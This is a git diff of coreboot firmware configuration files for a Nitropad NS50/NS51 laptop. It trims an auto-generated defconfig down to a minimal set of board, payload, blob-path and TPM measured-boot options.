CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_SPD_CACHE_IN_FMAP=y -CONFIG_SPD_CACHE_FMAP_NAME="RW_SPD_CACHE" -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 9e5dc0ee4..e306cabb4 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -1,877 +1,29 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set CONFIG_VENDOR_NOVACUSTOM=y -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Not Applicable" -CONFIG_MAINBOARD_PART_NUMBER="ns50pu" CONFIG_MAINBOARD_VERSION="v2.1" -CONFIG_MAINBOARD_DIR="clevo/adl-p" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set -CONFIG_MAINBOARD_VENDOR="Notebook" CONFIG_CBFS_SIZE=0x1000000 # CONFIG_CONSOLE_SERIAL is not set -CONFIG_MAX_CPUS=24 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -# CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set -CONFIG_UART_FOR_CONSOLE=0 -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x28 -CONFIG_VARIANT_DIR="ns50pu" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_BOARD_CLEVO_ADLP_COMMON=y -CONFIG_BOARD_CLEVO_NS50PU_BASE=y CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NS51" -CONFIG_CONSOLE_POST=y -# CONFIG_USE_PM_ACPI_TIMER is not set -CONFIG_TPM_PIRQ=0x27 -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" -CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0xc0000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=9 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=42 -CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" - -# -# Alder Lake P (2022) -# -CONFIG_BOARD_NOVACUSTOM_NS5X_ADLP=y -# CONFIG_BOARD_NOVACUSTOM_NV4X_ADLP is not set - -# -# Tiger Lake U (2021) -# -# CONFIG_BOARD_NOVACUSTOM_NV4X_TGLU is not set -# CONFIG_BOARD_NOVACUSTOM_NS5X_TGLU is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x10000 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -CONFIG_COREBOOT_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=32768 -CONFIG_ROM_SIZE=0x02000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/alderlake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_FSP_TEMP_RAM_SIZE=0x20000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe03e000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT=y -CONFIG_ACPI_BERT_SIZE=0x10000 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 -CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_SOC_INTEL_ALDERLAKE=y -CONFIG_SOC_INTEL_ALDERLAKE_PCH_P=y -CONFIG_SOC_INTEL_ALDERLAKE_TCSS_USB4_SUPPORT=y -CONFIG_ALDERLAKE_CAR_ENHANCED_NEM=y -CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 -CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 -CONFIG_IFD_CHIPSET="adl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_PCH_ROOT_PORTS=12 -CONFIG_MAX_CPU_ROOT_PORTS=3 -CONFIG_MAX_TBT_ROOT_PORTS=4 -CONFIG_MAX_ROOT_PORTS=12 -CONFIG_MAX_PCIE_CLOCK_SRC=10 -CONFIG_MAX_PCIE_CLOCK_REQ=10 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=127 -CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=38400000 -CONFIG_SOC_INTEL_UFS_CLK_FREQ_HZ=19200000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=7 -CONFIG_SOC_INTEL_I2C_DEV_MAX=8 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_UART_DEV_MAX=7 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Fsp.fd" -CONFIG_SOC_INTEL_ALDERLAKE_DEBUG_CONSENT=0 -CONFIG_DATA_BUS_WIDTH=128 -CONFIG_DIMMS_PER_CHANNEL=2 -CONFIG_MRC_CHANNEL_WIDTH=16 -CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y -CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y -CONFIG_SI_DESC_REGION="SI_DESC" -CONFIG_SI_DESC_REGION_SZ=4096 -# CONFIG_BUILDING_WITH_DEBUG_FSP is not set -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_FSP_PUBLISH_MBP_HOB=y -# CONFIG_INCLUDE_HSPHY_IN_FMAP is not set -CONFIG_HSPHY_FW_MAX_SIZE=0x8000 -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_INTEL_TME=y -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y -CONFIG_SOC_INTEL_UFS_OCP_TIMER_DISABLE=y -CONFIG_SOC_INTEL_UFS_LTR_DISQUALIFY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -CONFIG_CAR_HAS_SF_MASKS=y -CONFIG_COS_MAPPED_TO_MSB=y -CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y -CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y -CONFIG_CPU_SUPPORTS_INTEL_TME=y -# CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y -CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_SET_EOP=y -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_16=y -CONFIG_ME_SPEC=16 -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y -# CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y -CONFIG_PMC_IPC_ACPI_INTERFACE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y -# CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set -# CONFIG_ENABLE_TCSS_USB_DETECTION is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y -CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y -CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y -# CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# 